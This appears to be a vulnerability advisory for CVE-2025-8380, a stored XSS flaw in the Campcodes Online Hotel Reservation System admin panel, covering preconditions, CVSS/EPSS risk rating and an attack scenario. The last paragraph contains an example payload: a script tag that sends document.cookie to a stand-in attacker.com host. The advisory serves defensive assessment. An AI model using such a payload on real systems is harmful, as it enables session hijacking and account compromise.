Campcodes Online Hotel Reservation System CVE-2025-8380

Exploitation requires: (1) Valid login credentials to the administrative interface (/admin path), meaning the attacker must either possess valid admin credentials or trick an admin into performing an action; (2) The Name parameter must be processed by /admin/add_query_account.php without input validation or output encoding; (3) User interaction (UI:P) - the victim must visit or interact with a page that reflects or stores the injected script; (4) A modern browser capable of executing JavaScript in the admin session context. Exploitation is BLOCKED if: the /admin path is network-restricted or requires multi-factor authentication beyond basic login, Content Security Policy headers are implemented to block inline scripts, or if the application encodes output properly. The requirement for authentication and user interaction significantly reduces the attack surface compared to unauthenticated remote code execution vulnerabilities.

The real-world risk is MODERATE-TO-LOW despite public exploit availability. CVSS 4.0 metrics reveal critical limiting factors: PR:L (login required), UI:P (user interaction required), and VI:L (integrity impact only, with VC:N/VI:L/VA:N indicating no confidentiality or availability impact). EPSS score of 0.05% (16th percentile) indicates very low probability of widespread automated exploitation, suggesting this is primarily a targeted risk against organizations running this specific legacy system with attackers who possess valid admin credentials or can socially engineer interaction. The attack chain requires both authentication and user click-through, substantially reducing risk compared to network-accessible remote code execution. However, stored XSS in admin interfaces can compromise account security and enable lateral movement; organizations using this system should treat it as a real but lower-priority vulnerability relative to unauthenticated remote attacks. No active exploitation (KEV) has been confirmed, distinguishing this from actively weaponized threats.

An authenticated administrator receives a phishing email or social engineering message containing a link to the hotel reservation system's admin panel with a pre-crafted malicious Name parameter (e.g., /admin/add_query_account.php?name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>). When the admin clicks the link and interacts with the page (UI:P), the stored XSS payload executes in their browser, exfiltrating session cookies or performing unauthorized account modifications. Alternatively, a low-privilege staff member with access to the admin panel manually injects the payload and tricks another admin into viewing the infected record.